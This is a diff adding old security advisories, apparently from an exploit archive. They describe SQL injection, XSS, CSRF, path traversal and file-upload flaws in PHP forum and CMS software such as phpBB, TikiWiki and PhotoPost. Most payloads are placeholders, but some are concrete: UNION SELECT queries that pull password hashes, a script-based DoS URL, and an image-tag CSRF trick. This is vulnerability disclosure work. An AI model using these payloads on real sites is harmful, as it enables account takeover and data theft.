private.php?&action=newmessage&userid=[UID]&forward=[XSS]
|
||||
memberlist.php?action=getall&what=[XSS]<r=&perpage=25&orderby=username
|
||||
admincp/index.php?vb_login_username=[XSS]
|
||||
modcp/index.php?vb_login_username=[XSS]
|
||||
|
||||
Solution:
|
||||
JelSoft were notified and there will probably be a release of a patch or update to resolve these issues.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
57
exploits/php/webapps/43804.txt
Normal file
57
exploits/php/webapps/43804.txt
Normal file
|
@ -0,0 +1,57 @@
|
|||
Mambo Multiple Vulnerabilities
|
||||
|
||||
Vendor: Mambo Open Source
|
||||
Product: Mambo
|
||||
Version: <= 4.5
|
||||
Website: http://www.mamboserver.com/
|
||||
|
||||
BID: 9890 9891
|
||||
|
||||
Description:
|
||||
Mambo Open Source is the finest open source Web Content Management System available today. Mambo Open Source makes communicating via the Web easy. Have you always wanted to have your own site but never understood how? Well Mambo Open Source is just the ticket! With Mambo Open Source there is no need for HTML, XML or DHTML skills, just enter your content, add a picture and then through the easy to use administrator web-interface ...click Publish! Simple ... Quick ... And easy! With the in-built editor Mambo Open Source allows you to design and create your content without the need for HTML code. Maintaining a website has never been easier.
|
||||
|
||||
Cross Site Scripting:
|
||||
There are a few variables that will allow for XSS (cross site scripting) on most pages of a Mambo Open Source Installation. The variables in question are "return", and the variable "mos_change_template" variable. Below are some examples of these mentioned XSS problems.
|
||||
|
||||
index.php?return=[XSS]
|
||||
index.php?mos_change_template=[XSS]
|
||||
|
||||
The "return" variable is just the contents of the url, so it allows you to pass pretty much any junk to the url and have it printed straight to the page without being validated.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
It is possible for an attacker or malicious user to influence SQL queries by altering the "id" variable. The below examples is not malicious so they will just trigger an error. The query gets passed near
|
||||
|
||||
"SELECT title FROM mos_categories WHERE id=[SQL]" in "pathway.php"
|
||||
|
||||
Please note that this vuln is also likely to exist in other places as well.
|
||||
[VID] = A vaild id relating to the resource
|
||||
[SQL] = An SQL query thats to be executed
|
||||
|
||||
index.php?option=content&task=view&id=[SQL]&Itemid=[VID]
|
||||
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID]
|
||||
index.php?option=content&task=category§ionid=[VID]&id=[SQL]&Itemid=[VID]
|
||||
|
||||
|
||||
if ($id) {
|
||||
$database->setQuery( "SELECT title FROM #__categories WHERE id=$id" );
|
||||
$title = $database->loadResult();
|
||||
echo $database->getErrorMsg();
|
||||
|
||||
$id = max( array_keys( $mitems ) ) + 1;
|
||||
$mitem = pathwayMakeLink(
|
||||
$id,
|
||||
$title,
|
||||
"index.php?option=$option&task=$task&id=$id&Itemid=$Itemid",
|
||||
$Itemid
|
||||
);
|
||||
$mitems[$id] = $mitem;
|
||||
$Itemid = $id;
|
||||
}
|
||||
|
||||
As you can see in this code snip from pathway.php, the variable $id is passed directly into the query without any sort of real validation. This is however resolved in the newly updated version of Mambo Open Source by requiring $id to be validated via the intval() function. That way it only returns a valid integer and thus prevents SQL injection from happening.
|
||||
|
||||
Solution:
|
||||
Special thanks goes to Robert Castley for his very prompt, and professional response, and for the genuine concern regarding the security of Mambo Open Source server. A new version of the Mambo Open Source package is now available from thier official website and should be applied as soon as possible.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
89
exploits/php/webapps/43805.txt
Normal file
89
exploits/php/webapps/43805.txt
Normal file
|
@ -0,0 +1,89 @@
|
|||
phpBB Multiple Vulnerabilities
|
||||
|
||||
Vendor: phpBB Group
|
||||
Product: phpBB
|
||||
Version: <= 2.0.7a
|
||||
Website: http://www.phpbb.com
|
||||
|
||||
BID: 9942
|
||||
|
||||
Description:
|
||||
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
|
||||
|
||||
Problem:
|
||||
Just a few days ago I was visiting Security Focus and I saw the following issue.
|
||||
|
||||
http://www.securityfocus.com/bid/9896
|
||||
|
||||
I was at first thinking "Well, if you can't trust your admins that is as big of a security risk as any SQL Injection" After talking to a few people about this I realized that a number of phpBB installations are run on shared hosting setups, and because of that this issue could be a legitimate risk. For example
|
||||
|
||||
admin_words.php?mode=edit&id=99 UNION SELECT 0,username,user_password FROM othersite_phpbb_users WHERE user_id=2
|
||||
|
||||
I decided to look into this a little more and noticed similar issues in two other files as well. The files I found to also be vulnerable were "admin_smilies.php" and "admin_styles.php" which can also be used to query arbitrary information.
|
||||
|
||||
admin_smilies.php?mode=edit&id=99 UNION SELECT 0,username,0,user_password FROM othersite_phpbb_users WHERE user_id=2
|
||||
|
||||
I also played around with ideas on how a malicious user could use this for any kind of mischief. Remember that these SQL issues can also be used to probably drop tables and the like on non phpBB installations depending on DB privledges. Below are the findings of my weekend off from work. :P
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Altering queries is possible via two different files in phpBB 2.0.7a and earlier. The affected files are "admin_smilies.php" and "admin_styles.php" Below is what you will see if you take a look at the "admin_smilies.php" file.
|
||||
|
||||
|
||||
$sql = "SELECT *
|
||||
FROM " . SMILIES_TABLE . "
|
||||
WHERE smilies_id = " . $smiley_id;
|
||||
$result = $db->sql_query($sql);
|
||||
|
||||
|
||||
Both of these files could also be used to conduct cross site scripting attacks if a logged in admin views a malicious link sent by an attacker. Below are examples.
|
||||
|
||||
admin_smilies.php?mode=edit&id=[SQL]
|
||||
admin_smilies.php?mode=delete&id=[SQL]
|
||||
admin_smilies.php?mode=edit&id=[XSS]
|
||||
admin_smilies.php?mode=delete&id=[XSS]
|
||||
admin_styles.php?mode=edit&style_id=[SQL]
|
||||
admin_styles.php?mode=delete&style_id=[SQL]
|
||||
admin_styles.php?mode=edit&style_id=[XSS]
|
||||
admin_styles.php?mode=delete&style_id=[XSS]
|
||||
|
||||
Maybe an attacker could send a logged in admin a link that causes certain contents of the database to be dumped into a text file in the httpd directory for retrieval, or maybe an attacker can send a logged in admin a link with some script embedded and attempt to steal information from a cookie? All of those may be likely, but what I am going to talk about next makes it a whole lot easier for an attacker.
|
||||
|
||||
Command Execution Vulnerability:
|
||||
While looking around I noticed it was very easy to have commands that were called via the GET method executed. This could also be very useful for an attacker if he or she were to combine the above issues with the one I am talking about right now. To make things a little clearer go into your phpBB admin panel and lets create a harmless test to see how this works. We will use the word censor feature for this example since it is harmless enough, but you could just as easily use one of the vulnerabilities found by me and explained earlier in this paper. Go to the page in your phpBB admin panel titled "Word Censors" aka "admin_words.php" Now make a word censor, can be anything. After it is done get the link to delete the word censor you just made. For example see below what the link looks like.
|
||||
|
||||
admin_words.php?mode=delete&id=1&sid=b48906073d7a8da0ecad3e35b1f4021b
|
||||
|
||||
The sid variable doesn't have to be there, and if it does then that particular file is probably not vuln. Now we go into our user level account and make a post with an image that has a link to the vuln command. Now when an admin views this bogus image the command is executed. For example take the following post contents.
|
||||
|
||||
[img]http://host/login.php?logout=true[/img]
|
||||
|
||||
A post with this in it will log out whoever views it. Imagine how annoying it would be for a user to have something like that in their signature. It would log out everyone who viewed their post(s). This can be used with other files as well, not just the "admin_styles.php", "admin_smilies.php", and "admin_words.php" My weekend is almost over though :-\ So I do not have much more time to play around with this. But remember, this works on users too, not just admins and mods. The only limits I have found really is it only works on actions that get the values of it's variables from the GET method and not the $HTTP_POST_VARS[] method, and do not check for valid session id's this includes deleting posts, themes, smileys, word censors and more. This kind of activity could also be used in signatures, pm's and the like too. Some files such as modcp.php seem to handle sessions properly though, so they are not vulnerable. This is the code that checks for valid session ID's If it is not present it is possibly a vulnerable file.
|
||||
|
||||
|
||||
// session id check
|
||||
if ($sid == '' || $sid != $userdata['session_id'])
|
||||
{
|
||||
message_die(GENERAL_ERROR, 'Invalid_session');
|
||||
}
|
||||
A quick grep of the phpBB2 directory will turn up lots of results. You can do that to see which files are potentially vulnerable to this issue.
|
||||
|
||||
Solution:
|
||||
I have corresponded wih the developers about these issues, and you can read that correspondance at the following url.
|
||||
|
||||
http://www.gulftech.org/vuln/phpBBEmail.txt
|
||||
|
||||
I think the session checks are definately a potential danger, but I have fixed the vulnerable admin files, and they can be downloaded at the link below. If you find any problems with the fixes please let me know. Also, I have added fixes for the logout, and post deletion problems.
|
||||
|
||||
phpBB Admin, Logout, And Post Deletion Fixes
|
||||
|
||||
I will post any updated correspondance in the previously mentioned file, so if you would like to keep up on any progress made check there.
|
||||
|
||||
Update:
|
||||
Due to the lack of concern for these issues by the phpBB team and many users we have released the folling proof of concept examples.
|
||||
|
||||
phpBB Arbitrary Command Execution Proof Of Concept
|
||||
|
||||
It is also worth mentioning that the phpBB 2.0.8 upgrade does not stop the script phpBBpostMassacre from working.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
34
exploits/php/webapps/43806.txt
Normal file
34
exploits/php/webapps/43806.txt
Normal file
|
@ -0,0 +1,34 @@
|
|||
Invision Power Top Site List SQL Injection
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: Invision Power Top Site List
|
||||
Version: <= 1.1 RC 2
|
||||
Website: http://www.invisiontsl.com/
|
||||
|
||||
BID: 9945
|
||||
|
||||
Description:
|
||||
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
|
||||
|
||||
Error: Error executing query
|
||||
|
||||
The software returned the following error:
|
||||
|
||||
You have an error in your SQL syntax. Check the manual that
|
||||
corresponds to your MySQL server version for the right syntax
|
||||
to use near '[ Evil_Query ]' at line 1
|
||||
|
||||
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
|
||||
|
||||
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
|
||||
|
||||
index.php?act=comments&id=[Evil_Query]
|
||||
|
||||
Solution:
|
||||
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
85
exploits/php/webapps/43807.txt
Normal file
85
exploits/php/webapps/43807.txt
Normal file
|
@ -0,0 +1,85 @@
|
|||
Invision Power Top Site List SQL Injection
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: Invision Power Top Site List
|
||||
Version: <= 1.1 RC 2
|
||||
Website: http://www.invisiontsl.com/
|
||||
|
||||
BID: 9945
|
||||
|
||||
Description:
|
||||
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface your community will feel at home using the system.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Invision Power Top Site List is prone to an SQL Injection vuln in its "comment" feature. This issue is very much exploitable as the injection happens right in the middle of a WHERE statement. Lets have a look at an example error message to get a better idea of what is going on.
|
||||
|
||||
Error: Error executing query
|
||||
|
||||
The software returned the following error:
|
||||
|
||||
You have an error in your SQL syntax. Check the manual that
|
||||
corresponds to your MySQL server version for the right syntax
|
||||
to use near '[ Evil_Query ]' at line 1
|
||||
|
||||
Query Executed: SELECT * FROM tsl_sites WHERE id = [Evil_Query]
|
||||
|
||||
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Power Top Site List. Below is an example url to show how the issue could be exploited.
|
||||
|
||||
index.php?act=comments&id=[Evil_Query]
|
||||
|
||||
Solution:
|
||||
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team. Invision Gallery SQL Injection Vulnerabilities
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: Invision Gallery
|
||||
Version: <= 1.0.1
|
||||
Website: http://www.invisiongallery.com
|
||||
|
||||
BID: 9944
|
||||
CVE: CVE-2004-1835
|
||||
OSVDB: 4472
|
||||
SECUNIA: 11194
|
||||
PACKETSTORM: 32920
|
||||
|
||||
Description:
|
||||
Invision Gallery is a fully featured, powerful gallery system that is easy and fun to use! It plugs right into your existing Invision Power Board to create a seamless browsing experience for the users of your forum. We've taken many of the most popular feature requests from our customers and integrated them into this product.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Invision Gallery seems to come up very short concerning validation of user supplied input. It is vulnerable to a number of SQL Injection vulnerabilities. Also, because Invision Gallery is integrated into Invision power Board it is VERY much possible for an attacker to use the vulnerabilities in Invision Gallery to affect the Invision Power Board which it resides on. Most of the non validated input that allow for the injections take place right in the middle of a WHERE statement making them that much easier to exploit. Lets look at an example error.
|
||||
|
||||
mySQL query error: SELECT * FROM ibf_gallery_categories WHERE
|
||||
id=[Evil_Query]
|
||||
|
||||
mySQL error: You have an error in your SQL syntax. Check the manual
|
||||
that corresponds to your MySQL server version for the right syntax to
|
||||
use near '[Evil_Query]' at line 1
|
||||
|
||||
mySQL error code:
|
||||
Date: Sunday 21st of March 2004 11:28:18 AM
|
||||
|
||||
As we can see from this it would be of little difficulty for any attacker to execute arbitrary requests. For example pulling the admin hash and/or possibly taking admin control over an affected Invision Gallery or Invision Power Board installation. Here are some example urls that could be exploited by an attacker.
|
||||
|
||||
index.php?act=module&module=gallery&cmd=si&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=editimg&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=ecard&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=moveimg&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=delimg&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=post&cat=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=date&order_key=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=favs&op=add&img=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=slideshow&cat=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=user&user=[SQL]&op=view_album&album=1
|
||||
index.php?act=module&module=gallery&cmd=user&user=[SQL]
|
||||
index.php?act=module&module=gallery&cmd=user&user=1&op=view_album&album=[SQL]
|
||||
|
||||
Some of these are easier to exploit than others obviously, but the large number of SQL Injection possibilities definitely makes it that much easier for an attacker to get results from these issues.
|
||||
|
||||
Solution:
|
||||
The Invision Power Services team were contacted immediately and hopefully a fix will be available soon since this is an application that cost users money to use.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
59
exploits/php/webapps/43808.txt
Normal file
59
exploits/php/webapps/43808.txt
Normal file
|
@ -0,0 +1,59 @@
|
|||
PhotoPost Multiple Vulnerabilities
|
||||
|
||||
Vendor: All Enthusiast, Inc
|
||||
Product: PhotoPost
|
||||
Version: <= 4.6
|
||||
Website: http://www.photopost.com/
|
||||
|
||||
BID: 9994
|
||||
CVE: CVE-2004-1870 CVE-2004-1871
|
||||
OSVDB: 10261 10262 10263 10264 10265 10266 10267 4771
|
||||
SECUNIA: 11241
|
||||
|
||||
Description:
|
||||
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins.
|
||||
|
||||
SQL Injection Vulnerabilities:
|
||||
There are a large number of possibilities for SQL Injection in Photo Post. The most important thing to remember here is that this app ties directly into the affected website's forum system. So the aim of any smart attacker would be to try and use the vulnerabilities in this app to gain control of a forum by grabbing member password hashes. Below are example url's.
|
||||
|
||||
addfav.php?photo=[SQL]
|
||||
comments.php?photo=[SQL]
|
||||
comments.php?photo=1&cedit=[SQL]
|
||||
index.php?cat=[SQL]
|
||||
showgallery.php?ppuser=[SQL]
|
||||
showgallery.php?cat=[SQL]
|
||||
uploadphoto.php?cat=[SQL]
|
||||
useralbums.php?ppaction=delalbum&albumid=[SQL]
|
||||
useralbums.php?ppaction=editalbum&albumid=[SQL]
|
||||
|
||||
I have not released any POC exploit for these issues, because like I said before the real danger in these holes is the fact they can be used to act against an installed forum system or other info in the database, and this varies GREATLY on each Photo Post installation depending on what forum is installed, and the table prefix's etc etc. A google search returned over a half of a million websites running Photo Post, so you can imagine the number of possibilities of the environment varying.
|
||||
|
||||
Script Injection:
|
||||
A malicious user can inject script and html into several fields in Photo Post. The dangers of this is it allows an attacker to run arbitrary code in the context of the browser on any user that visits their album. Also, it can be used to run admin commands and the like by injecting script or html into a photo description that is awaiting approval by an admin. When the admin views the photo to be approved the code is then executed. Some examples of where this can take place is in photo names, photo descriptions, album names, and album descriptions.
|
||||
|
||||
Cross Site Scripting:
|
||||
There are a number of Cross Site Scripting issues present in Photo Post. And as previously mentioned the danger of it being used against the forum which it resides are also a very real threat. Below are a list of the XSS issues in showmembers.php, but it is also worth noting that any of the SQL Injection vulns previously mentioned can also be used for XSS if Injection cannot be successfully used.
|
||||
|
||||
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&ppuser=10[XSS]
|
||||
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&password=[XSS]
|
||||
showmembers.php?cat=1&si=&page=7&sort=7&perpage=12&stype=1[XSS]
|
||||
showmembers.php?cat=1&si=&page=7&sort=7&perpage=1[XSS]
|
||||
showmembers.php?cat=1&si=&page=7&sort=1[XSS]
|
||||
showmembers.php?cat=1&si=&page=1[XSS]
|
||||
showmembers.php?cat=1&si=1[XSS]
|
||||
showmembers.php?cat=1[XSS]
|
||||
|
||||
Any of these XSS issues can be used to possibly steal cookies from the forum which Photo Post resides, run code in a users browser and more.
|
||||
|
||||
Denial of Service:
|
||||
PhotoPost is prone to a denial of service attack that can allow an attacker to send a user (logged in or not) a malicious link that will result in the user not being able to gain access to the PhotoPost installation until they clear their cookies.
|
||||
|
||||
showmembers.php?perpage="><script>var%20i=1;%20while(i){alert(i);};</script>
|
||||
|
||||
This is possible because the "perpage" variable resides in the users cookie. Like I said before a user does not have to be logged in for this to happen.
|
||||
|
||||
Solution:
|
||||
The vendor was contacted. Most of these issues do not seem to be present in 4.7 though. Users are encouraged to upgrade ASAP.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
132
exploits/php/webapps/43809.txt
Normal file
132
exploits/php/webapps/43809.txt
Normal file
|
@ -0,0 +1,132 @@
|
|||
TikiWiki Multiple Vulnerabilities
|
||||
|
||||
Vendor: TikiWiki Project
|
||||
Product: TikiWiki
|
||||
Version: <= 1.8.1
|
||||
Website: http://www.tikiwiki.org/
|
||||
|
||||
BID: 10100
|
||||
CVE: CVE-2004-1923 CVE-2004-1924 CVE-2004-1925 CVE-2004-1926 CVE-2004-1927 CVE-2004-1928
|
||||
OSVDB: 5181 5182 5183 5184 5185 5186 5187 5188 5189 5190 5191 5192 5193 5194 5195 5196 5197 5198 5199 5200 5201 5202 5203 5204 5205 520
|
||||
SECUNIA: 11344
|
||||
PACKETSTORM: 33062
|
||||
|
||||
Description:
|
||||
Tiki CMS/Groupware (aka TikiWiki) is a powerful open-source Content Management System (CMS) and Groupware that can be used to create all sorts of Web applications, Sites, Portals, Intranets and Extranets. TikiWiki also works great as a Web-based collaboration tool. TikiWiki is a multi-purpose package with a lot of native options and sections that you can enable/disable as you need them. It is designed to be international, clean and extensible. TikiWiki incorporates all the features present in several excellent wiki systems available today plus a lot of new features and options, allowing your wiki application to be whatever you want it to be--from a simple wiki to a complex site for a whole user community with many intermediate steps. You can use TikiWiki as a forums site, a chatroom, for poll taking, and much more!
|
||||
|
||||
Path Disclosure Vulnerabilities:
|
||||
There are several ways to discover the full physical path of the web directory on a server running TikiWiki. One way is by calling some files directly with a null or non-existent value as seen below.
|
||||
|
||||
banner_click.php
|
||||
categorize.php
|
||||
tiki-admin_include_directory.php
|
||||
tiki-directory_search.php
|
||||
|
||||
Some files specifically prevent this by checking to see if they are called directly. I am not sure why more of the TikiWiki files do not use the same preventive measure. Also, just about anywhere that there is potential for SQL tampering (read about that later) you can leave the value null, and generate an error that will disclose the full physical path of the web server. Below are a handful of examples, but surely it is not all of them. The rest of this write up will use the following key when displaying example URL's
|
||||
|
||||
[INT] = Pretty much any integer will do
|
||||
[VID] = Requires some sort of valid ID
|
||||
[VPG] = The name of a valid page/user page
|
||||
[JNK] = Just some random garbage
|
||||
[SQL] = An evil SQL query ;)
|
||||
[XSS] = Some code to cause XSS to happen
|
||||
|
||||
tiki-searchindex.php?highlight=[JNK]
|
||||
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=
|
||||
messu-read.php?offset=[INT]&flag=&priority=&flagval=
|
||||
messu-read.php?offset=[INT]&flag=&priority=
|
||||
messu-read.php?offset=[INT]&flag=
|
||||
messu-read.php?offset=
|
||||
tiki-list_file_gallery.php?find=&galleryId=1&offset=[INT]&sort_mode=
|
||||
tiki-usermenu.php?find=&offset=
|
||||
tiki-usermenu.php?find=&offset=[INT]&sort_mode=
|
||||
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
|
||||
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=
|
||||
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_maxComments=
|
||||
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=priority_desc&find=[JNK]
|
||||
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=
|
||||
tiki-directory_ranking.php?sort_mode=
|
||||
tiki-file_galleries.php?find=&search=find&sort_mode=
|
||||
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=
|
||||
tiki-list_faqs.php?find=&offset=
|
||||
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=
|
||||
tiki-list_trackers.php?find=&offset=
|
||||
|
||||
Cross Site Scripting:
|
||||
There also happens to be a great number of places XSS (cross site scripting) can take place on a TikiWiki powered site. Below are a number of examples, but it is far from all of them. TikiWiki is a VERY large collection of files and it would be a waste of time to go through and find/list every one of them :)
|
||||
|
||||
tiki-switch_theme.php?theme=[XSS]
|
||||
messu-mailbox.php?flags=&priority=&find=[XSS]
|
||||
messu-mailbox.php?flags=&priority=[XSS]
|
||||
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
|
||||
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
|
||||
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
|
||||
messu-read.php?offset=[INT]&flag=&priority=[XSS]
|
||||
messu-read.php?offset=[INT]&flag=[XSS]
|
||||
messu-read.php?offset=[XSS]
|
||||
tiki-read_article.php?articleId=[VID][XSS]
|
||||
tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS]
|
||||
tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS]
|
||||
tiki-print_article.php?articleId=[VID][XSS]
|
||||
tiki-list_file_gallery.php?galleryId=[VID][XSS]
|
||||
tiki-upload_file.php?galleryId=[VID][XSS]
|
||||
tiki-view_faq.php?faqId=[VID][XSS]
|
||||
tiki-view_chart.php?chartId=[VID][XSS]
|
||||
tiki-survey_stats_survey.php?surveyId=[VID][XSS]
|
||||
|
||||
SQL Injection Vulnerabilities:
|
||||
Data seems to be passed into a query with little or no validation just about anywhere you encounter the *sort_mode or offset variable. It should be noted though that the offset variable takes place after the LIMIT statement, so the risk isn't very high as compared to data being passed earlier in the query. It still should be addressed though. Below are some examples. Once again keep in mind that this is not ALL instances of the *sort_mode or offset problems.
|
||||
|
||||
tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-directory_ranking.php?sort_mode=[SQL]
|
||||
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[INT]&comments_sort_mode=[SQL]
|
||||
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-directory_ranking.php?sort_mode=[SQL]
|
||||
tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL]
|
||||
tiki-file_galleries.php?find=&search=find&sort_mode=[SQL]
|
||||
tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL]
|
||||
tiki-usermenu.php?find=&offset=[SQL]
|
||||
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[SQL]
|
||||
tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL]
|
||||
tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL]
|
||||
tiki-list_faqs.php?find=&offset=[SQL]
|
||||
tiki-list_trackers.php?find=&offset=[SQL]
|
||||
tiki-list_blogs.php?find=&offset=[SQL]
|
||||
|
||||
Code Injection:
|
||||
It is possible for a malicious user to inject code into several places on a TikiWiki powered site including, but not limited to the link directory and the user profile. Below are examples of my findings, but I am pretty sure they also exist elsewhere
|
||||
|
||||
User Profile > Theme
|
||||
User Profile > Country Field
|
||||
User Profile > Real Name
|
||||
User Profile > Displayed time zone
|
||||
Directory > Add Site > Name
|
||||
Directory > Add Site > Description
|
||||
Directory > Add Site > URL
|
||||
Directory > Add Site > Country
|
||||
|
||||
Remote File/Dir Enumeration Via Traversal:
|
||||
This issue deals with the map feature TikiWiki uses. If you are using a version prior to 1.8 or if you have not enabled the map feature this probably does not affect you. The map feature calls a .map file to display whatever map a user would like to view, but the problem with this is that it allows you to traverse out of the web directory and call files elsewhere on the box. While this does not allow you to say pull up a file for viewing or download, it will allow you to confirm the existence of both files and directories on the affected box. Below is an example.
|
||||
|
||||
/tiki-map.phtml?mapfile=../../../../var/
|
||||
|
||||
I have also coded a small quick and dirty utility to automate the process of enumerating the existence of files on a machine running TikiWiki 1.8 with the map feature enabled. The utility can be found at the following location.
|
||||
|
||||
TikiWiki POC File Existance Enumeration Utility
|
||||
|
||||
Arbitrary File Upload:
|
||||
It is possible to upload arbitrary files to a TikiWiki installation by including it in the image upload feature when creating your TikiWiki user page. The file then will be located here.
|
||||
|
||||
http://host/img/wiki_up/filenamehere
|
||||
|
||||
It should be pretty obvious that this will let an attacker upload arbitrary scripts and run commands with the rights of the webserver. This could be very dangerous.
|
||||
|
||||
Solution:
|
||||
The TikiWiki Devel team have addressed these issues, and updates are available at their official website. I was VERY impressed with the way these guys handled the situation. Due to the size of the project, and the way some of these issues spanned across seemingly hundreds of files there was a great amount of work to be done. In some cases a dev team would have just addressed the critical issues and left the small issues like path disclosure for the next official release. These guys though took EVERY issue very seriously and assembled a security response team, and very organized response method for these issues and future issues. I do not think any researcher could ask for a better response from a vendor. They were friendly, professional, prompt, and serious. Hats off to them, and TikiWiki users should know they are in good hands, as these guys are a young project and already take security issues more seriously than alot of the big name open source projects out there :)
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
84
exploits/php/webapps/43810.txt
Normal file
84
exploits/php/webapps/43810.txt
Normal file
|
@ -0,0 +1,84 @@
|
|||
phpBugTracke Multiple Vulnerabilities
|
||||
|
||||
Vendor: Benjamin Curtis
|
||||
Product: phpBugTracke
|
||||
Version: <= 0.9.1
|
||||
Website: http://phpbt.sourceforge.net
|
||||
|
||||
BID: 10153
|
||||
OSVDB: 5383 5384 5385 5386 5387
|
||||
SECUNIA: 11416
|
||||
|
||||
Description:
|
||||
phpBugTracker is meant to be a replacement for Bugzilla (one day). It's not quite there yet, but we're working on it. This project grew out of the frustrations I experienced in installing and using bugzilla. Those frustrations inspired my design goals: Simplicity in use and installation, Use templates to achieve presentation independence, Use a database abstraction layer to achieve database independence So this project will hopefully become a portable and powerful web-based bug tracking system.
|
||||
|
||||
SQL Injection Vulnerabilities:
|
||||
phpBugTracker is prone to SQL Injection in several files. Some are not so dangerous, and others I would consider a pretty high risk. Lets look at the user.php for example to start off with.
|
||||
|
||||
$db->query("delete from ".TBL_BUG_VOTE." where user_id = $u and bug_id = $bug_id");
|
||||
|
||||
As we can see from that line of code taken from about line 30 of user.php it is clear that the $bug_id variable is passed into the query with no type of validation at all. Next lets have us a look at the bugs.php file. Around line 27 we will see the start of the vote_view() function. It too is vulnerable to SQL Injection attacks.
|
||||
|
||||
///
|
||||
/// View the votes for a bug
|
||||
function vote_view($bug_id) {
|
||||
global $u, $db, $t, $STRING;
|
||||
|
||||
$t->assign('votes', $db->getAll('select login, v.created_date '.
|
||||
'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ".
|
||||
"where u.user_id = v.user_id and bug_id = $bug_id ".
|
||||
'order by v.created_date'));
|
||||
$t->wrap('bugvotes.html', 'bugvotes');
|
||||
}
|
||||
|
||||
This same type of SQL Injection vulnerability also resides in the vote_bug() function in bugs.php. It is the same thing really, the $bug_id variable is passed to the query unchecked. Now for query.php which has many problems with not validating input. Even more so than the previously mentioned files. First we see a problem in the delete_saved_query() function. Around line 27. Once again there is no input validation at all. Look at the $queryid variable.
|
||||
|
||||
